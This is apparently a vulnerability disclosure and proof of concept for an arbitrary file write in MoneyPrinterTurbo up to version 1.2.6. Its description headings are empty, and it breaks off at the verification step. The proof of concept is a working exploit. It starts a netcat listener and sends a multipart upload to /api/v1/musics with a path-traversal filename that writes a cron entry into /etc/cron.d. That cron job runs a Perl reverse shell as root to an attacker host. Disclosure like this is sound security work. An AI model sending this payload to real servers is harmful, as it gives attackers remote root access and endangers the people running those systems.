BUG_Author: xuanSAMA

Affected Version: MoneyPrinterTurbo ≤ 1.2.6

Vendor: MoneyPrinterTurbo GitHub Repository

Software: MoneyPrinterTurbo

Vulnerability Files:

Description:

  1. Arbitrary File Write Vulnerability:
  2. Exploiting the Vulnerability:
  3. Impact:
  4. Example Payload for RCE:

Proof of Concept:

  1. Prerequisite: The cron daemon (cron/crond) must be installed and running on the target server. The exploit relies on this service to execute the scheduled payload.

  2. Start a listener on the attacker's machine to catch the reverse shell. The port should match the one specified in the payload (e.g., port 80).

    nc -lvnp 80
    
    
  3. Use a tool like curl to send the following POST request to the target server, replacing <target-ip>:<port> with the application's address and <attacker-ip> with the listener's IP address.

    POST /api/v1/musics HTTP/1.1
    Host: <target-ip>:<port>
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBXzYq0O8O6IOvAV5
    User-Agent: Mozilla/5.0
    Connection: close
    Content-Length: 497
    
    ------WebKitFormBoundaryBXzYq0O8O6IOvAV5
    Content-Disposition: form-data; name="file"; filename="../../../../../etc/cron.d/1mp3"
    Content-Type: application/octet-stream
    
    */1 * * * * root /usr/bin/perl -e 'use Socket;$i="<attacker-ip>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    ------WebKitFormBoundaryBXzYq0O8O6IOvAV5--
    
    
  4. Verifying the Exploit: